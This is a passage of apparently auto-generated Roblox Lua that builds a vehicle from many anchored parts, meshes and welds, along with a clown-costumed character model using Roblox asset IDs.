  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.277037,0.993334)
  Vehicle_Part.CFrame = CFrame.new(-29.221956,1.443533,182.523727) * CFrame.Angles(0.000024,-0.785409,0.000033)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.277037,0.993334)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,0.369631)
  Vehicle_Part.CFrame = CFrame.new(-44.389778,1.682786,176.319122) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,0.369631)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.706852,1.341329,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-29.788906,1.952198,182.639679) * CFrame.Angles(-1.570796,0.927294,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.706852,1.341329,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.226303,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.192490,1.691056,179.618103) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Model = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Model.Name = &quot;&quot;
  Vehicle_Model_Body_Colors = Instance.new(&apos;BodyColors&apos;, Vehicle_Model)
  Vehicle_Model_Body_Colors.Name = &quot;Body Colors&quot;
  Vehicle_Model_Pants = Instance.new(&apos;Pants&apos;, Vehicle_Model)
  Vehicle_Model_Pants.Name = &quot;Pants&quot;
  Vehicle_Model_Pants.PantsTemplate = &quot;http://www.roblox.com/asset/?id=37566406&quot;
  Vehicle_Model_Shirt = Instance.new(&apos;Shirt&apos;, Vehicle_Model)
  Vehicle_Model_Shirt.Name = &quot;Shirt&quot;
  Vehicle_Model_Shirt.ShirtTemplate = &quot;http://www.roblox.com/asset/?id=15557308&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.226303,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Model_Left_Arm = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Left_Arm.Name = &quot;Left Arm&quot;
  Vehicle_Model_Left_Arm.formFactor = compatibility
  Vehicle_Model_Left_Arm.Anchored = true
  Vehicle_Model_Left_Arm.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Model_Left_Arm.CFrame = CFrame.new(-41.867493,5.034377,179.357117) * CFrame.Angles(1.444427,0.685717,-1.159854)
  Vehicle_Model_Left_Arm.BrickColor = BrickColor.new(106)
  Vehicle_Model_Left_Arm.Transparency = 0.000000
  Vehicle_Model_Left_Arm.CanCollide = false
  Vehicle_Model_Left_Leg = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Left_Leg.Name = &quot;Left Leg&quot;
  Vehicle_Model_Left_Leg.formFactor = compatibility
  Vehicle_Model_Left_Leg.Anchored = true
  Vehicle_Model_Left_Leg.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Model_Left_Leg.CFrame = CFrame.new(-41.881104,3.566611,178.757111) * CFrame.Angles(1.566530,0.002796,-1.570766)
  Vehicle_Model_Left_Leg.BrickColor = BrickColor.new(106)
  Vehicle_Model_Left_Leg.Transparency = 0.000000
  Vehicle_Model_Left_Leg.CanCollide = false
  Vehicle_Model_Right_Arm = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Right_Arm.Name = &quot;Right Arm&quot;
  Vehicle_Model_Right_Arm.formFactor = compatibility
  Vehicle_Model_Right_Arm.Anchored = true
  Vehicle_Model_Right_Arm.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Model_Right_Arm.CFrame = CFrame.new(-42.144672,5.034429,177.377106) * CFrame.Angles(1.749731,0.201335,-2.128626)
  Vehicle_Model_Right_Arm.BrickColor = BrickColor.new(106)
  Vehicle_Model_Right_Arm.Transparency = 0.000000
  Vehicle_Model_Right_Arm.CanCollide = false
  Vehicle_Model_Right_Leg = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Right_Leg.Name = &quot;Right Leg&quot;
  Vehicle_Model_Right_Leg.formFactor = compatibility
  Vehicle_Model_Right_Leg.Anchored = true
  Vehicle_Model_Right_Leg.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Model_Right_Leg.CFrame = CFrame.new(-41.881073,3.562282,177.757156) * CFrame.Angles(1.566530,0.002796,-1.570766)
  Vehicle_Model_Right_Leg.BrickColor = BrickColor.new(106)
  Vehicle_Model_Right_Leg.Transparency = 0.000000
  Vehicle_Model_Right_Leg.CanCollide = false
  Vehicle_Model_Torso = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Torso.Name = &quot;Torso&quot;
  Vehicle_Model_Torso.formFactor = compatibility
  Vehicle_Model_Torso.Anchored = true
  Vehicle_Model_Torso.Size       = Vector3.new(2.000000,2.000000,1.000000)
  Vehicle_Model_Torso.CFrame = CFrame.new(-41.571091,5.034394,178.257202) * CFrame.Angles(0.003999,1.566526,-0.003983)
  Vehicle_Model_Torso.BrickColor = BrickColor.new(106)
  Vehicle_Model_Torso.Transparency = 0.000000
  Vehicle_Model_Torso.CanCollide = true
  Vehicle_Model_Torso_roblox = Instance.new(&apos;Decal&apos;, Vehicle_Model_Torso)
  Vehicle_Model_Torso_roblox.Name = &quot;roblox&quot;
  Vehicle_Model_Torso_roblox.Texture = &quot;&quot;
  Vehicle_Model_Torso_roblox.Face    = Enum.NormalId.Front
  Vehicle_Model_Head = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Head.Name = &quot;Head&quot;
  Vehicle_Model_Head.formFactor = compatibility
  Vehicle_Model_Head.Anchored = true
  Vehicle_Model_Head.Size       = Vector3.new(2.000000,1.000000,1.000000)
  Vehicle_Model_Head.CFrame = CFrame.new(-41.571068,6.534349,178.257233) * CFrame.Angles(0.004005,1.566540,-0.003989)
  Vehicle_Model_Head.BrickColor = BrickColor.new(1001)
  Vehicle_Model_Head.Transparency = 0.000000
  Vehicle_Model_Head.CanCollide = true
  Vehicle_Model_Head_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_Head)
  Vehicle_Model_Head_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_Head_Mesh.MeshType  = Enum.MeshType.Head
  Vehicle_Model_Head_Mesh.Scale     = Vector3.new(1.250000,1.250000,1.250000)
  Vehicle_Model_ClownMask = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_ClownMask.Name = &quot;ClownMask&quot;
  Vehicle_Model_ClownMask.formFactor = compatibility
  Vehicle_Model_ClownMask.Anchored = true
  Vehicle_Model_ClownMask.Size       = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Model_ClownMask.CFrame = CFrame.new(-42.071064,6.534366,178.252991) * CFrame.Angles(0.004005,1.566540,-0.003989)
  Vehicle_Model_ClownMask.BrickColor = BrickColor.new(194)
  Vehicle_Model_ClownMask.Transparency = 0.000000
  Vehicle_Model_ClownMask.CanCollide = false
  Vehicle_Model_ClownMask_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_ClownMask)
  Vehicle_Model_ClownMask_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_ClownMask_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Model_ClownMask_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=13520257&quot;
  Vehicle_Model_ClownMask_Mesh.TextureId = &quot;http://www.roblox.com/asset/?id=13520260&quot;
  Vehicle_Model_ClownMask_Mesh.Scale     = Vector3.new(1.100000,1.000000,1.000000)
  Vehicle_Model_ClownTop = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_ClownTop.Name = &quot;ClownTop&quot;
  Vehicle_Model_ClownTop.formFactor = compatibility
  Vehicle_Model_ClownTop.Anchored = true
  Vehicle_Model_ClownTop.Size       = Vector3.new(2.000000,2.000000,2.000000)
  Vehicle_Model_ClownTop.CFrame = CFrame.new(-41.671005,6.534346,178.256699) * CFrame.Angles(0.004005,1.566540,-0.003989)
  Vehicle_Model_ClownTop.BrickColor = BrickColor.new(194)
  Vehicle_Model_ClownTop.Transparency = 0.000000
  Vehicle_Model_ClownTop.CanCollide = false
  Vehicle_Model_ClownTop_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_ClownTop)
  Vehicle_Model_ClownTop_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_ClownTop_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Model_ClownTop_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=15393031&quot;
  Vehicle_Model_ClownTop_Mesh.TextureId = &quot;http://www.roblox.com/asset/?id=15393013&quot;
  Vehicle_Model_ClownTop_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Model_Humanoid = Instance.new(&apos;Humanoid&apos;, Vehicle_Model)
  Vehicle_Model_Humanoid.Name = &quot;Humanoid&quot;
  Vehicle_Model_Humanoid.Health    = 0
  Vehicle_Model_Humanoid.MaxHealth = 0
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,1.070371)
  Vehicle_Part.CFrame = CFrame.new(-33.333000,2.060559,182.867111) * CFrame.Angles(-1.570796,0.643499,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,1.070371)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(3.777781,0.503704,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.053997,2.817631,179.593124) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(3.777781,0.503704,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.599261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-41.540405,2.697656,176.319138) * CFrame.Angles(-1.570796,0.321749,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.599261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296302,0.503704,0.755556)
  Vehicle_Part.CFrame = CFrame.new(-33.490425,2.816123,179.593124) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296302,0.503704,0.755556)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.277037,5.616302)
  Vehicle_Part.CFrame = CFrame.new(-28.764832,1.445437,179.594498) * CFrame.Angles(0.000002,0.000000,0.000002)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.277037,5.616302)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.599261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-30.888878,2.697665,182.867157) * CFrame.Angles(-1.570796,0.321749,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.599261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.082964,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-40.517807,2.055509,182.867142) * CFrame.Angles(-1.570796,0.927294,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.082964,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,0.329631)
  Vehicle_Part.CFrame = CFrame.new(-44.369785,1.682924,182.867096) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,0.329631)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.631852,1.234075,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-29.821045,1.995125,176.509155) * CFrame.Angles(-1.570796,0.927294,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.631852,1.234075,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.762965,3.525930)
  Vehicle_Part.CFrame = CFrame.new(-41.927177,3.949479,176.570953) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.762965,3.525930)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.792598,3.639263,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-42.967609,6.065519,179.593155) * CFrame.Angles(1.570796,0.982798,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(311)
  Vehicle_Part.Transparency = 0.300000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.792598,3.639263,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,1.007408,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.104408,2.063765,181.230133) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,1.007408,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.586668,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-42.971764,2.695667,176.319153) * CFrame.Angles(-1.570796,-0.321754,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.586668,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.061447,2.338831,177.350555) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(133)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.792598,0.251852,12.592604)
  Vehicle_Part.CFrame = CFrame.new(-35.631126,7.727136,179.593140) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part1_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part1_Strong_Joint.Name = &quot;Part-to-Part1 Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.792598,0.251852,12.592604)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.061501,2.338542,181.835648) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(133)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.087357,0.503690,0.508171)
  Vehicle_Part.CFrame = CFrame.new(-29.078125,4.561154,182.491638) * CFrame.Angles(-3.141593,0.000000,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.087357,0.503690,0.508171)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,1.007408,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.104404,2.064049,177.956131) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,1.007408,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
